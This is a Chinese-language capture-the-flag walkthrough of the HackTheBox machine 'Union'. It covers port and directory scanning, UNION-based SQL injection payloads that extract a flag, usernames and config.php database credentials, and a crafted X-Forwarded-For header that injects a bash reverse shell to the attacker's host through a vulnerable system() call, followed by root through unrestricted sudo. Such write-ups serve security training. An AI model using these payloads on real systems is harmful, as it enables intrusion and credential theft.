打靶记录(一三零)之HTBUnion

端口扫描

┌──(mikannse㉿kali)-[~]
└─$ sudo nmap --min-rate=10000 -p- 10.10.11.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 21:17 CST
Nmap scan report for 10.10.11.128
Host is up (0.075s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds

┌──(mikannse㉿kali)-[~]
└─$ sudo nmap -sT -sV -sC -O -p80 10.10.11.128    
[sudo] password for mikannse: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 21:28 CST
Nmap scan report for 10.10.11.128
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (95%), Crestron 2-Series (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (95%), Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.48 seconds

Web

只有一个Web界面，有一个输入框。目录扫描的结果,不过只能访问index.php和challenge

┌──(mikannse㉿kali)-[~/HTB/union]
└─$ feroxbuster -u http://10.10.11.128/ -x .php,txt,zip,bak,sql
                                                                                                     
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.128/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt, zip, bak, sql]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://10.10.11.128/css => http://10.10.11.128/css/
200      GET       42l       93w     1220c http://10.10.11.128/index.php
200      GET        0l        0w        0c http://10.10.11.128/config.php
200      GET        7l     1608w   140930c http://10.10.11.128/css/bootstrap.min.css
200      GET       42l       93w     1220c http://10.10.11.128/
200      GET       20l       61w      772c http://10.10.11.128/challenge.php
200      GET        1l        2w       13c http://10.10.11.128/firewall.php
[####################] - 7m    360084/360084  0s      found:7       errors:22     
[####################] - 7m    180000/180000  453/s   http://10.10.11.128/ 
[####################] - 7m    180000/180000  443/s   http://10.10.11.128/css/

那只能硬打这个输入框了,根据房间名字，盲猜是sql注入了

输入这个payload时，有了回显

player=mikannse'union select database();-- -

数据库是november

player=mikannse'union select group_concat(table_name) from  INFORMATION_SCHEMA.tables where table_schema =database();-- -

有flag和players两张表

player=mikannse'union select group_concat(column_name) from  INFORMATION_SCHEMA.columns where table_schema =database() and table_name ='flag';-- -

flag的一列是one

player=mikannse'union select group_concat(one) from flag;-- -

得到flag:UHC{F1rst_5tep_2_Qualify}

player=mikannse'union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='players';-- -

一列是player，得到了几个用户名:ippsec,celesian,big0us,luska,tinyboy

在challenge界面输入flag之后,能访问22端口了，但是还缺少凭据。猜测是在config.php中，既然能sql注入了，那么来读取config.php

player=mikannse'union select load_file('/var/www/html/config.php');-- -

<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";

ssh连接

提权

在firewall.php中还有一个函数:

<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>

也许能够拼接来实现任意命令执行，做个反弹shell

GET /firewall.php HTTP/1.1

Host: 10.10.11.128

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

X-Forwarded-For: 127.0.0.1;/bin/bash -c "/bin/bash -i >& /dev/tcp/vpnip/443 0>&1"

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Cookie: PHPSESSID=reoju21iei1kc5vnlq2qkai06l

Upgrade-Insecure-Requests: 1

是www-data用户,不过有所有sudo权限

www-data@union:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL
www-data@union:~/html$ sudo -i
sudo -i
whoami
root

碎碎念

也许得去做一些php开发与mysql开发了?